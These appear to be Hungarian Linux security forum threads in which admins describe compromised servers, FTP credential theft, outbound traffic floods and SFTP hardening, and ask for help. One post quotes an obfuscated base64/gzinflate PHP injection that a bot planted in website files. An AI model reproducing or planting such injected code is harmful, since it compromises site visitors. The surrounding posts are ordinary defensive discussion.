Linux-security

Sziasztok!

Olyan helyzet adódott, hogy szükséges lenne csomagokat szűrni adott méret határ alatt/fölött illetve azokat tartalom alapján. Ha egy IP címről például többször (vagy akár csak 1x) érkezik ilyen szűrendő kérés, akkor azt vagy dobja el, vagy magát az IP címet tiltsa örökre. Ehhez kellene pár iptables ötlet, illetve a megvalósításhoz bármilyen script/daemon ötlet, vagy akár direkt erre a célra kitalált külön program, amivel ilyeneket lehetne figyelni.

A válaszokat előre is köszönöm! A probléma égető, így aki tud valamit, az ne tartsa magában :)

Üdv:
Pety

Sziasztok,

adott egy ubuntu 11.10 64 bites szerver 3.2.0 sajat kernellel, apparmor patchcsel.
Frissitettem volna 3.4.4-es kernelre.

2.8.0 apparmorban talalhato 3.4 kernel patch lefuttatva hiba nelkul.
3.4.4 kernel lefordul, deb csomagok elkeszultek, deb csomagok telepultek hiba nelkul.
Reboot, majd:
Cache read/write disabled: /sys/kernel/security/apparmor/features interface file missing. (Kernel needs AppArmor 2.4 compatibility patch.)

Vegigprobaltam kulonbozo verziokkal, de ugyanez.
Valkinek otlete esetleg, mit hagytam ki?

Sziasztok

Azzal a problémával fordulok hozzátok, hogy a szerverre való bejelentkezés után autómatikusan egy email indul utnak erre a címre: h4pp1n3s5@yahoo.com.
A levél tartalma a szerver IP címe a felhasználónév és persze a jelszó.
Valamint kreálodik egy file a "/ets/crond.daily/dnsquery" és a "/root/.mc/j".
Mindezt úgy, hogy van rajta tüzfal amiben az ssh portot csak bizonyos ip-k ről engedi az ssh nem a default porton van az ssh nem engedi a root felhasználót belépni.
Maillog-ot kivéve minden olyan tiszta mintha mise történt volna.
A létrehozott file-ok törlése nem szünteti meg az email küldést.
Eme frappáns email küldés okát nem találom.

Újratelepítettem az egész rendszert és láss csodát pár nap mulva újra jelentkezett.

Valaki találkozott már ezzel a gyönyörűséggel és mit lehet tenni ellene?

Üdv mindenkinek!

Olyan megoldást keresek amelynek segítségével egy terminál be tud boot-olni felhasználói közreműködés nélkül, úgy hogy az adattárolói titkosítva vannak. Az alaplapon van tpm modul csatlakozási lehetőség, illetve usb,soros portos saját hardvert is tudok csinálni a cél érdekében.
Az lenne jó ha van rá lehetőség, hogy a grub a tpm modulból vett kulccsal decrypteli az adathordozót és akkor felbootol, vagy a grub soros-usb porton valami ugrókódos megoldással kapja meg a kulcsot.
De ha van már kész megoldás az lenne a legjobb.

Sziasztok!

A napokban érdekes dolgok jelentek meg néhány weboldalam(szerencsére csak hobbi célú lapok) kódjaiban, konkrétan ez:


#b58b6f#
echo(gzinflate(base64_decode("JcvBDYAgDADAVUgHoH8D7NJgVVCEtNXo9j78XnJBs5Rhzt7BEYwfw0o3/QpOJUfYzMaE2GWls+Sl97mR7Gzqc2+eLhQ+mJR9VUgB/5s+")));
#/b58b6f#


Ez egy JS include igazából amit egy kedves valaki(gondolom valami bot) FTP-n kapcsolódás után szépen beleszórt minden index* és wp*php fájlba. Az FTP login a 31.31.79.77 IP-ről jött, az IP tulajdonosával felvettem a kapcsolatot, kaptam is választ, hogy intézik amit intézni kell... Bár a nevük is elég bizarr: wedos ... we DoS? :D

Érdekelne, hogy a jelenséggel találkozott-e már valaki rajtam kívül és hogyan sikerült meggátolnia a további jelszólopást. Gyanítom, hogy a jelszót egy Windows kliensről lopták le FTP kapcsolódás közben. Az adott gépen a vírusirtó szerint nincs semmi nem odavaló. Az is érdekelne, hogy az "abuse" jelentésre az adott ISPnek nem lenne-e kötelessége valamilyen szinten utánajárni, hogy mégis mi folyik a hálózatában? Vagy azon túl, hogy rákérdez a kedves ügyfelénél és elfogadja annak válaszát nem tehet mást? Lehet én vagyok naiv... :)

Természetesen jelszócsere volt és az IP reject-elve, szerencsére csak hobbi célú weblapokhoz fértek hozzá, az FTP accon kívül semmihez.

Sziasztok!

használja valaki? Mi a véleményetek róla elsősorban biztonsági szempontból?

köszi
G

Sziasztok!
A napokban azt vettük észre, hogy az egyik szerverünk külső hálókártyája random időközönként iszonyatos forgalommal árasztja el a hálózatot.
Először azt gondoltuk, hogy a hálókártya ment tönkre. Kicseréltem, de tegnap délután úőjra előjött a jelenség.
Szerencsére iptraffal sikerült kimonitorozni, és ott a következőt láttam: "Outgoing rates: 7500 kbit/sec", és az iptraf annyit írt, hogy az 50.115.40.202-es címre mennek tőlem udp csomagok! Ha jól fejtettem vissza, akkor ez valami kaliforniai ip...

Hangsúlyozom: teljes újratelepítés lesz belőle!

DE: tanulásképpen szeretnék egy kicsit nyomozni, hogy mi generál ekkora forgalmat Kaliforniába, hogyan lehet védekezni ellene, mit kell ilyenkor átnézni, hogyan lehet legközelebb ilyen ellen védekezni, stb. Tehát egy kis security tréning.
Ez utóbbiban kérnék tippeket, tanácsokat, hogy hol kezdjem a nyomozást.

Nem flamet akarok, hanem tanulni, és a végén újrainstallálok úgyis mindent, nehogy valami backdoor maradjon mégis!

Sziasztok,
Érdeklődnék tud-e valaki ingyenes, kész és elérhető megoldást ftp szervernek a címben szereplő megoldással való védelmére.
Jelszó lopó programok elleni védelemre gondolok első sorban. Több hosztinggal foglalkozó szolgáltatónál van már működő rendszer (tudtommal ezek saját fejlesztésűek).
Pl. egy weboldalon felhsználónév+jelszó+captcha trió után x ideig engedi az ftp csatlakozást a juzernek vagy az ip-nek.
Van-e ilyen vagy valami hasonló dolog ?
Álljak neki sajátot fejleszteni (nem vagyok programozó, nehéz lesz :-( )

Sftp protokol sem véd jelszó lopók, illetve nem biztonságos kliens programok ellen - szerintem.
(ha nincs ftp-http megoldás akkor természetesen sftp lesz belőle)
THX

Sziasztok!

[Szerk:]
Úgy tűnik, a Quake motorban Egy feltörekvő ET modifikáció-ban (N!tmod) bug van, így DDOS-ol a szerverünk. (Érinti valamennyi erre épülő játékszervert.) (Az általunk használt mod fejlesztőjének jeleztem a hibát.)
Azt szeretném megtudni, hogy a tipikus szerver-kliens közti kommunikációt hogyan tudnám "portok" közé szorítani. Íme egy minta:

IP szervercímem.eu.27970 > kliensipje.27960: UDP, length 61
IP kliensipje.27960 > szervercímem.eu.27970: UDP, length 50

Vagyis a szerver a 27970-en fut, a kliensek pedig a 27960-on kommunikálnak. Szeretném, ha más portoknak a "27970" nem tudna csomagot küldeni.
Milyen iptables policy-t javasoltok?

A válaszokat előre is köszönöm.

Mit tennetek ha egy olyan SFTP szervert kene hardenelnetek ahol a userek fel- es letoltenek es semmi masra nincs szukseg?

Nagyvonalakban:
- Umask 077
- Csak CTR cipherek engedelyezese (AES256 es Blowfish) a CBC cipherekben nem bizunk, akkor sem ha az OpenSSHban mindent megtettek a sebehezhetoseg kivedese erdekeben (http://www.mozilla.org/projects/security/pki/nss/news/vaudenay-cbc.html)
- Compression engedelyezve
- checkFile, versionSelect es posixRename SFTP extensionoket engedelyezzuk, copyFile es vendorID extensionokre deny
- Maximum 5 szimultan kapcsolat egy IProl
- A feltoltott fileok jogosultsagait nem vesszuk figyelembe, a umaskot huzzuk ra minden filera
- Csereljuk a keyt bizonyos idokozonkent (mondjuk orankent) a man-in-the-middle tamadasok hatasait csokkentendo
- A forgalomanalizis ellen vedekezzunk azzal, hogy bizonyos idokozonkent random adatokat szurunk be a forgalomba
- minden user chrootba
- Chmod, chown, symlink, lock es setstat tiltasa

Egyeb otlet?